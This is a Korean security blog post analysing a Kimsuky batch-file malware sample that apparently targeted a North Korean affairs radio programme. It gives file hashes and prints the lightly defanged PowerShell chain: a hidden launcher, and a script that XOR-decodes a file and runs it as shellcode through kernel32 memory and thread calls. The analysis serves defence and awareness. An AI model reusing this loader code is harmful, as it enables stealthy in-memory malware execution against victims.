꿈을꾸는 파랑새

오늘도 대한민국의 안보를 노리는 북한 APT인 김수키(Kimsuky)에서 만든 악성코드인 열차 9월10일 원고(화)_4. bat(2024.12.02)에 대해 글을 적어 보겠습니다. 일단 해당 악성코드는 K 본부의 한민족방송에서 방송하는 대북 관련 시사 교양 프로그램인 통일열차 제작팀을 노린 것을 추정되면 통일열차 진행자는 이x걸 아나운서이며 방송시간은 매일 자정 5분부터 새벽 1시까지 입니다.
일단 먼저 해당 악성코드 해쉬값은 다음과 같습니다.
파일명: 열차9월10일원고(화)_4. bat
사이즈:327 Bytes
MD5:c0b447e45be32bd6ceba8c6455472b37
SHA-1:5b191427f2d47efe8a8e7bb195f1b4a9f5a2c585
SHA-256:5306582c8a24508b594fed478d5abaa5544389c86ba507d8ebf98c5c7edde451
해당 악성코드의 특이한점은 bat로 되어져 있는 것이 특징이며 언제나 PowerShell을 악용하는 것이 특징입니다.

열차9월10일 원고 악성코드
열차9월10일 원고 악성코드열차9월10일 원고 악성코드

악성코드에 포함된 PowerShell 코드

start /min C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell(.)exe 
-windowstyle hidden "$stringPath=$env:temp(+)'\'+'elephant(.)dat';$stri
ngByte = Get-Co(n)tent -path $stringPath -encodi(n)g byte;$string = [Sys
tem.Text(.)Encoding](:):UTF8.GetString($str(i)ngByte);$scriptBlock = [scriptblock]
::Create($string);Invoke-Command $sc(r)iptBlock;"

PowerShell 코드 분석

1.start /min:최소화된 창으로 프로그램을 실행 사용자가 알아채기 어렵게 하는것
C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe:32비트 PowerShell을 실행하는 경로
SysWOW64 경로를 사용하는 이유는 32비트 환경에서 실행될 가능성을 높이려고
-windowstyle hidden:PowerShell 창을 숨겨 사용자에게 실행 여부를 감추려는 의도
2. 임시 디렉토리에 elephant.dat 파일 경로를 지정
임시 파일 경로를 사용함으로써 디스크의 흔적을 줄이고 분석을 어렵게 만듬
elephant.dat 파일 내용을 바이트 배열로 읽어들이기 
3. 바이트 배열을 UTF-8로 디코딩하여 문자열로 변환
암호화된 내용을 복호화하거나 난독화된 악성 코드의 원본을 복구하려는 작업 가능성
4. 문자열을 PowerShell 스크립트 블록으로 변환
변환된 문자열이 실행 가능한 코드임을 나타냄
5. 복구한 스크립트를 실행

elephant.dat 에 포함된 코드
elephant.dat 에 포함된 코드

elephant.dat 코드에 포함된 코드

$exePath=$env:temp(+)'\caption(.)dat';$exeFile = Get-Conte(n)t -p
ath $exePa(t)h -encoding byte;$len=$exeFile(.)count;$n(e)wExeFile 
= New-Object Byte[] $len;$xK='d';for($i=0;$i -lt $l(e)n;$i++) {$ne
wExeFile[$i] = $exeFile[$i] -bxor $xk[0]}; [Net.S(e)rvicePointManag
er](:):SecurityProtocol = [Enum]::ToObject([N(e)t.Sec(u)rityProtoco
Type], 3072);$k1123 = [System(.)Text.Encoding]::UTF8.GetString(34) 
+ 'kernel32.dll' + [System.Te(x)t.Encoding]::UTF8.GetString(34);$a9
0234s = '[DllImport(' + $k1123 + ')]public sta(t)(i)c extern IntPtr
GlobalAlloc(uint b,uint c);';$b = Add-Type -MemberDefinition $(a)90
234s  -Name 'AAA' -PassThru;$d3s9sdf = '[DllImport(' + $k1123 + ')]
public static exter(n) bool V(i)rtualProtect(IntPtr a,uint b,uint c
,out IntPtr d);';$a90234sb = Add-Type -MemberDe(f)inition $d3s9sdf
-Name 'AAB' -PassThru;$(b)3s9s03sfse = '[DllImport(' (+) $k1123 + 
')]publi(c) static extern IntPtr CreateThread(I(n)tPtr a,uint b,In
tPt(r) c,IntPtr d,u(i)nt e,IntPt(r) f);';$ca(k)e3sd23 = Add-Type -
Member(D)efinition $b3s(9)s03sfse  -Name 'BBB' -PassTh(r)u;$dtts9s0
3sd23 = '[DllImport(' + $k112(3) + ')]public static extern IntPtr W
aitForSing(l)eObject(IntPtr a,uint b);';$fried3sd23 = Add-Type -Mem
b(e)rDefinition $dtts9s03sd23 -Name 'DDD' -PassThru;$byteCount = $n
ewExeFile.Length;$(b)uffer = $b::GlobalAlloc(0x0040, $byteCount + 0
x100);$old = 0;$a90234sb::Virtu(a)lProtect($buffer, $byteCount + 0x
100, 0x40, [ref]$old); for($i = 0;$i -lt $byteCount(;)$i++) { [Syst
em.Runtime(.)InteropServices.Marshal]::Write(B)yte($buffer, $i, $ne
wExeFile[$i]); };$handle = $cake(3)sd23::CreateThread(0, 0, $buffer
, 0, 0, 0);$fried3sd23::WaitF(o)rSing
eObject($han(d)le, 500 * 1000);

악성코드 분석

1.XOR 복호화
caption(.)dat 파일 내용을 XOR 키 d를 사용해 복호화
결과적으로 악성 실행 파일(바이너리 데이터)을 복원
2. DLL 호출을 통한 메모리 조작
kernel32.dll에서 다음 함수를 호출
GlobalAlloc: 메모리에 특정 크기의 버퍼를 할당
0x0040은 실행 권한이 포함된 메모리 페이지 플래그를 의미
VirtualProtect:할당된 메모리 버퍼의 권한을 실행 가능 상태(0x40)로 변경
CreateThread:새로운 스레드를 생성하여 메모리에 로드된 코드를 실행
WaitForSingleObject:스레드가 완료될 때까지 대기
복호화된 데이터를 메모리에 로드 후 실행 가능한 상태로 설정
새 스레드를 생성하여 복호화된 코드를 실행하고 스레드 실행이 완료될 때까지 대기
명령 및 제어(C2): 외부와 연결해서 데이터 를 가져가려는 목적일 수도 있음
caption.dat 파일을 XOR 복호화하여 실행 가능한 바이너리 데이터로 복원
kernel32.dll에서 메모리 조작 및 스레드 생성 함수들을 불러옴
복호화된 바이너리를 메모리에 로드 실행 가능한 권한으로 설정
새로운 스레드를 생성하여 메모리에 로드된 코드를 실행
실행 스레드가 완료될 때까지 대기

악성코드 에 포함된 통일열차 결제 대본
악성코드 에 포함된 통일열차 결제 대본

caption.dat를 해야지 더욱더 자세한 내용을 확인할 수 있습니다. 일단 2024-12-02 04:56:38 UTC 기준으로 탐지하는 보안업체들은
Fortinet:PowerShell/Boxter.47DC!tr
Huorong:Backdoor/Meterpreter.p
일단 K 본부를 직접 노린 것인지 개인인 확인을 할 수가 없으므로 이런 대공 업무를 하시는 분들이 확인해야 하고 그리고 특정 개인 또는 회사를 표적으로 하는 고도의 맞춤 사이버 공격인 스피어 피싱을 통한 악성코드 감염 그리고 정보 탈취를 하려고 하는 것이 목적이 아닐까 생각이 됩니다. 결론 방송국이나 대기업이나 중요한 연구들을 하시는 분들을 노려서 털려고 하는 일도 있으니 조심하자 입니다.

반응형
그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band